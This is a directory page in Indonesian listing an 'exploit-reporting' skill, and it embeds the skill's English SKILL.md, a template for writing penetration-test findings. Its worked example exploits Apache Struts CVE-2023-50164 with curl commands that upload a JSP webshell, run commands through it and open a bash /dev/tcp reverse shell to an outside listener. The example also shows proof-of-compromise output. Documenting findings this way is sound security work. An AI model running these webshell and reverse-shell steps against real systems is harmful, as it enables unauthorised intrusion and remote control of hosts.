Langsung ke konten
Skillpedia
Keamanan6.5k ยท #14042

exploit-reporting

Fungsinya

Panduan ini menjelaskan cara mendokumentasikan masalah keamanan yang sudah terverifikasi agar pembaca bisa mereproduksinya dan memahami dampaknya. Panduan ini untuk penguji keamanan yang menulis laporan untuk tim atau klien mereka.

Kapan dipakai

  • โœ“Saat sebuah pengujian keamanan telah mengonfirmasi eksploit dan perlu dituliskan.
  • โœ“Saat Anda ingin skor CVSS dan tingkat keparahan yang jelas untuk setiap masalah yang sudah dikonfirmasi.
  • โœ“Saat sebuah tim memerlukan catatan akses yang didapat dan celah deteksi yang ditemukan.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit โ†’

Contoh permintaan ke AI

โ€œKami mengonfirmasi masalah eksekusi kode jarak jauh pada salah satu server kami. Bisakah Anda menuliskannya sebagai temuan dengan langkah, skor, dan bukti?โ€

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent memakai templat temuan dengan judul, tingkat keparahan, skor, komponen yang terdampak, dan langkah reproduksi, lalu menautkan bukti yang diberikan kepadanya.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Exploitation Reporting Knowledge Base

Exploitation findings are only operationally useful when documented with enough precision that anyone can reproduce the access, understand the impact, and trace the full attack path. This skill defines how to structure, score, and persist exploitation findings within the Decepticon engagement directory.

1. Exploitation Finding Template

Every verified successful exploitation MUST produce a finding Markdown file in the active engagement workspace's findings/ directory named FIND-{NNN}.md. The file name and id field in YAML frontmatter (FIND-001, FIND-002, ...) are the canonical cross-reference โ€” determine the next ID by counting existing files. Do not create placeholder finding files.

---
id: FIND-001
severity: CRITICAL
cvss_score: 9.3
cvss_vector: "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
cwe: CWE-78
mitre: T1190
affected_target: 10.0.1.50
affected_component: "Apache Struts 2.5.30 โ€” /struts2/upload.action"
confidence: confirmed
objective_id: <server-issued-objective-id>
phase: initial-access
agent: exploit
detected: false
remediation_priority: immediate
discovered_at: "2026-04-06T14:32:00Z"
---

# [CRITICAL] Remote Code Execution via Apache Struts CVE-2023-50164 on 10.0.1.50:8080 โ€” Root Shell Achieved

## Description

Apache Struts 2.5.30 is vulnerable to CVE-2023-50164, a file upload path traversal flaw in the `FileUploadInterceptor`. An unauthenticated attacker can manipulate the `Upload-Dir` parameter during a multipart upload request to traverse outside the intended upload directory and write an arbitrary file โ€” including a JSP webshell โ€” to the web root. This achieves unauthenticated remote code execution as the Tomcat service account.

The vulnerability exists because `FileUploadInterceptor` does not canonicalize the destination path before writing, allowing `../` sequences to escape the configured upload directory.

## Steps to Reproduce

```bash
# 1. Confirm the target is running Struts (identified during recon)
curl -s -I http://10.0.1.50:8080/struts2/ | grep -i server

# 2. Generate the malicious multipart upload request
# Upload a JSP webshell to /struts2/../shell.jsp (resolves to web root)
curl -s -X POST http://10.0.1.50:8080/struts2/upload.action \
  -F "Upload=@/tmp/shell.jsp;type=image/jpeg" \
  -F "Upload-Dir=../." \
  -o /workspace/target/findings/evidence/FIND-001_upload_response.txt

# 3. Confirm shell placement
curl -s http://10.0.1.50:8080/shell.jsp?cmd=id \
  -o /workspace/target/findings/evidence/FIND-001_rce_confirm.txt

# 4. Upgrade to reverse shell
curl -s "http://10.0.1.50:8080/shell.jsp?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261'" &
nc -lvnp 4444

Proof of Exploitation

# whoami output on compromised host
tomcat

# id output
uid=52(tomcat) gid=52(tomcat) groups=52(tomcat)

# hostname
app01.internal.example.com

# uname -a
Linux app01.internal.example.com 5.15.0-1034-aws #38-Ubuntu SMP x86_64 GNU/Linux

# ip addr (abridged)
inet 10.0.1.50/24 brd 10.0.1.255 scope global eth0
inet 10.0.2.1/24 brd 10.0.2.255 scope global eth1

Access Achieved

Target Access Level Method Credentials Used Persistence Status
10.0.1.50:8080 (app01) Remote Code Execution (tomcat) CVE-2023-50164 โ€” JSP webshell None (unauthenticated) Webshell at /shell.jsp

Impact

An unauthenticated attacker has OS-level command execution as the tomcat service account on app01.internal.example.com. The host has dual-network interfaces (10.0.1.0/24 external-facing + 10.0.2.0/24 internal), making it a pivot point into the internal network segment. From this position an attacker can:

  • Enumerate and access internal services on 10.0.2.0/24 not reachable externally
  • Read application configuration files containing database credentials
  • Install a persistent reverse shell or C2 implant
  • Escalate privileges via local kernel or sudo misconfigurations

Evidence

Type Path Description
HTTP response findings/evidence/FIND-001_upload_response.txt Server response confirming file write
RCE confirmation findings/evidence/FIND-001_rce_confirm.txt Output of id command via webshell
Shell session log findings/evidence/FIND-001_shell_session.txt Full interactive shell transcript
Payload findings/evidence/FIND-001_shell.jsp JSP webshell payload used
Pertanyaan umum

Apa itu CVSS?

Itu adalah skor standar untuk seberapa parah sebuah masalah keamanan, berdasarkan faktor serangan dan dampaknya.

Apakah hasil yang belum diverifikasi boleh ditulis sebagai temuan?

Tidak. Panduan ini menyatakan setiap temuan harus berasal dari eksploitasi yang terverifikasi, dan file pengganti tidak boleh dibuat.

Mengapa celah deteksi dicatat?

Panduan ini menyatakan bahwa hal itu membantu tim melihat tindakan mana yang tidak terdeteksi oleh pemantauan.

Detail

Deskripsi asli dari pembuat

Exploitation finding documentation โ€” initial access reports, exploit chain documentation, CVSS v4.0 scoring, shell/credential inventory, detection gap analysis.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14042
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • โ€ฆ

Skill lain dari repositori ini

Skill serupa